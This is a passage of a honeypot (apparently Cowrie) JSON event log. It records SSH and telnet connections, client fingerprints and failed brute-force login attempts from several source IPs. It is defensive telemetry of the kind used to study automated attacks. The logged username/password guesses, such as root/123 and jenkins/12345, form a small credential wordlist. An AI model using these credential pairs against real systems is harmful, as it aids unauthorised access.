stp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:48.557487Z","src_ip":"45.153.34.112","session":"bad8db2d3c5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:48.805102Z","src_ip":"45.153.34.112","session":"bad8db2d3c5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:49.893886Z","src_ip":"45.153.34.112","session":"bad8db2d3c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34524,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ca49fd6f82","protocol":"ssh","message":"New connection: 45.153.34.112:34524 (10.17.0.5:22) [session: 79ca49fd6f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:52.288274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:52.293465Z","src_ip":"45.153.34.112","session":"79ca49fd6f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:52.375869Z","src_ip":"45.153.34.112","session":"79ca49fd6f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:52.623541Z","src_ip":"45.153.34.112","session":"79ca49fd6f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:53.788842Z","src_ip":"45.153.34.112","session":"79ca49fd6f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.76411175727844,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:54.266204Z","src_ip":"192.119.13.58","session":"5a0330efd269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34532,"dst_ip":"10.17.0.5","dst_port":22,"session":"66ec00d2144e","protocol":"ssh","message":"New connection: 45.153.34.112:34532 (10.17.0.5:22) [session: 66ec00d2144e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:55.899712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:55.904456Z","src_ip":"45.153.34.112","session":"66ec00d2144e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:55.995653Z","src_ip":"45.153.34.112","session":"66ec00d2144e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.4411838054657,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:56.108735Z","src_ip":"192.119.13.58","session":"f6745794cb7c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:56.444597Z","src_ip":"45.153.34.112","session":"66ec00d2144e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:57.529169Z","src_ip":"45.153.34.112","session":"66ec00d2144e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33086,"dst_ip":"10.17.0.5","dst_port":22,"session":"b64501c26e16","protocol":"ssh","message":"New connection: 45.153.34.112:33086 (10.17.0.5:22) [session: b64501c26e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:59.694633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:59.699366Z","src_ip":"45.153.34.112","session":"b64501c26e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:59.781568Z","src_ip":"45.153.34.112","session":"b64501c26e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:00.029790Z","src_ip":"45.153.34.112","session":"b64501c26e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:01.315408Z","src_ip":"45.153.34.112","session":"b64501c26e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33118,"dst_ip":"10.17.0.5","dst_port":22,"session":"18858d9480d7","protocol":"ssh","message":"New connection: 45.153.34.112:33118 (10.17.0.5:22) [session: 18858d9480d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:03.227824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:03.233767Z","src_ip":"45.153.34.112","session":"18858d9480d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:03.368457Z","src_ip":"45.153.34.112","session":"18858d9480d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:03.730843Z","src_ip":"45.153.34.112","session":"18858d9480d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:04.817636Z","src_ip":"45.153.34.112","session":"18858d9480d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33132,"dst_ip":"10.17.0.5","dst_port":22,"session":"384855f61429","protocol":"ssh","message":"New connection: 45.153.34.112:33132 (10.17.0.5:22) [session: 384855f61429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:06.988934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:06.994622Z","src_ip":"45.153.34.112","session":"384855f61429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54154,"dst_ip":"10.17.0.5","dst_port":23,"session":"797ccc475054","protocol":"telnet","message":"New connection: 192.119.13.58:54154 (10.17.0.5:23) [session: 797ccc475054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:07.061030Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:07.078070Z","src_ip":"45.153.34.112","session":"384855f61429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:07.325528Z","src_ip":"45.153.34.112","session":"384855f61429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:08.516824Z","src_ip":"45.153.34.112","session":"384855f61429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34144,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9f23efb8a63","protocol":"ssh","message":"New connection: 45.153.34.112:34144 (10.17.0.5:22) [session: f9f23efb8a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:10.571437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:10.576466Z","src_ip":"45.153.34.112","session":"f9f23efb8a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:10.756896Z","src_ip":"45.153.34.112","session":"f9f23efb8a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:11.094888Z","src_ip":"45.153.34.112","session":"f9f23efb8a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43150,"dst_ip":"10.17.0.5","dst_port":23,"session":"4635b2f45b6a","protocol":"telnet","message":"New connection: 192.119.13.58:43150 (10.17.0.5:23) [session: 4635b2f45b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:11.250311Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:12.184605Z","src_ip":"45.153.34.112","session":"f9f23efb8a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":50584,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f0b4cd3339","protocol":"ssh","message":"New connection: 170.106.177.3:50584 (10.17.0.5:22) [session: a1f0b4cd3339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:12.958858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:12.963889Z","src_ip":"170.106.177.3","session":"a1f0b4cd3339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:13.033549Z","src_ip":"170.106.177.3","session":"a1f0b4cd3339","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wangjia","password":"123456","message":"login attempt [wangjia/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:13.341269Z","src_ip":"170.106.177.3","session":"a1f0b4cd3339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":41290,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c6328ee58d5","protocol":"ssh","message":"New connection: 43.130.36.39:41290 (10.17.0.5:22) [session: 5c6328ee58d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:13.904863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:13.910021Z","src_ip":"43.130.36.39","session":"5c6328ee58d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38280,"dst_ip":"159.203.135.109","dst_port":22,"session":"4666e9e00cab","protocol":"ssh","message":"New connection: 103.153.68.219:38280 (159.203.135.109:22) [session: 4666e9e00cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:13.962618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:13.967994Z","src_ip":"103.153.68.219","session":"4666e9e00cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-